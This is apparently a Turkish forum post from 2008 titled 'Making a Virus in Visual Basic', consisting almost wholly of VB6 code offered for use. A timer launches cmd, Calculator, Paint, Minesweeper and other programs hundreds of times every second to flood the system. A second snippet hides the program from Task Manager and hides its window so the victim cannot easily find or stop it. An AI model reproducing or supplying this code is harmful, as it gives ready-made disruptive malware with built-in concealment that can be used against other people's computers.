Visual Basic'de Virüs Yapımı

tarafından ufukkucukcavus Perş. Mayıs 01, 2008 11:15 am

Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:&l92;Program Files&l92;Messenger&l92;msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:&l92;Program Files&l92;Movie Maker&l92;moviemk.exe"
Shell "winmine"
Next
End Sub

timer in interval özelliğini 1000 yap.

bide forma bu kodu yerleştir ki görev yöneticisinde görünmesin.

Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub